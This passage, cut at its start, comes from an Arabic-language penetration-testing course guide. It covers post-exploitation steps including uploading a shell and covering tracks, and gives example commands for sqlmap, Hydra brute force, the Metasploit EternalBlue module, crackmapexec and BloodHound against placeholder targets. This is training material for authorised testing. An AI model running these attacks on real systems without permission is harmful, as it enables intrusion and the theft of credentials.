تثبيت طريقة دخول ثانية بعد الاختراق — زي رفع Shell على السيرفر.
9. Post-Exploitation
جمع معلومات إضافية عن التطبيق وقواعد البيانات، باستخدام Burp Suite أو Metasploit.
10. Covering Tracks & Reporting
مسح أي أثر، وكتابة تقرير شامل بالثغرات وطرق استغلالها والتوصيات لإصلاحها.
أدوات أساسية
| الأداة | الاستخدام |
|---|---|
| Burp Suite | فحص شامل لتطبيقات الويب بموديولات متعددة |
| OWASP ZAP | فحص تطبيقات الويب، مفتوح المصدر وسهل الاستخدام |
| SQLMap | استغلال ثغرات SQL Injection |
| Nikto | فحص الخوادم عن الثغرات المعروفة |
| Postman | اختبار الـ APIs والـ Requests/Responses |
| Wappalyzer | كشف التقنيات المستخدمة في بناء الموقع |
| Gobuster / Wfuzz | اكتشاف الصفحات والمسارات المخفية |
نصائح مهمة
- خد إذن رسمي من صاحب التطبيق قبل البدء
- اجمع معلومات كفاية قبل أي محاولة هجوم
- اختار الأداة المناسبة لنوع الثغرة اللي بتدور عليها
- راجع الـ OWASP Top 10 بشكل دوري — بتلخصلك أخطر عشر فئات ثغرات في تطبيقات الويب، ومعظم اللي هتقابله في الامتحان أو في الشغل الحقيقي بيقع تحت واحدة منهم
8 تثبيت الأدوات الأساسية للكورس
مرجع سريع لتثبيت واستخدام أهم الأدوات اللي هتحتاجها في الكورس ده:
Nmap
# على كالي لينكس: موجودة بشكل افتراضي
nmap -sS [TARGET_IP]Burp Suite
نزّل النسخة المجانية (Community Edition) من الموقع الرسمي، افتح البرنامج وابدأ من Intruder أو Scanner، وضيف البروكسي بتاعه في المتصفح.
OWASP ZAP
نزّل النسخة المناسبة لنظامك، افتح البرنامج واستخدم Quick Start لفحص أي تطبيق ويب، وضيف البروكسي في المتصفح.
SQLMap
# على كالي لينكس
sudo apt install sqlmappython sqlmap.py -u "http://example.com/vuln.php?id=1" --dbsNikto
# على كالي لينكس
sudo apt install niktoperl nikto.pl -h http://example.comMetasploit Framework
# موجودة جاهزة على كالي لينكس
msfconsoleuse exploit/windows/smb/ms17_010_eternalblueHydra
# على كالي لينكس
sudo apt install hydrahydra -l username -P passwords.txt ftp://target_ipWireshark
# على كالي لينكس
sudo apt install wiresharkافتح البرنامج، اختار واجهة الشبكة، وابدأ التقاط البيانات.
Postman
نزّل النسخة المناسبة من الموقع الرسمي، استخدمه لاختبار الـ APIs عن طريق إدخال الـ URL وتجربة الـ Requests المختلفة.
Gobuster
# على كالي لينكس
sudo apt install gobustergobuster dir -u http://example.com -w /usr/share/wordlists/dirb/common.txtCrackMapExec
pip3 install crackmapexeccrackmapexec smb 192.168.1.0/24 -u username -p passwordBloodHound
sudo apt install bloodhoundبعد التثبيت، بتحتاج تشغّل SharpHound (Collector) على بيئة الـ Active Directory الهدف لجمع البيانات، بعدين تستوردها في واجهة BloodHound الرسومية عشان تشوف العلاقات والمسارات بين الحسابات.
الخلاصة
كدا غطينا كل أجزاء الكورس بالتفصيل — من أول Engagement لحد كتابة التقرير النهائي، مرورًا بكل مرحلة من مراحل جمع المعلومات، الفحص، الـ Enumeration، تقييم الثغرات، تدقيق الشبكات، واختبار اختراق الشبكات وتطبيقات الويب.
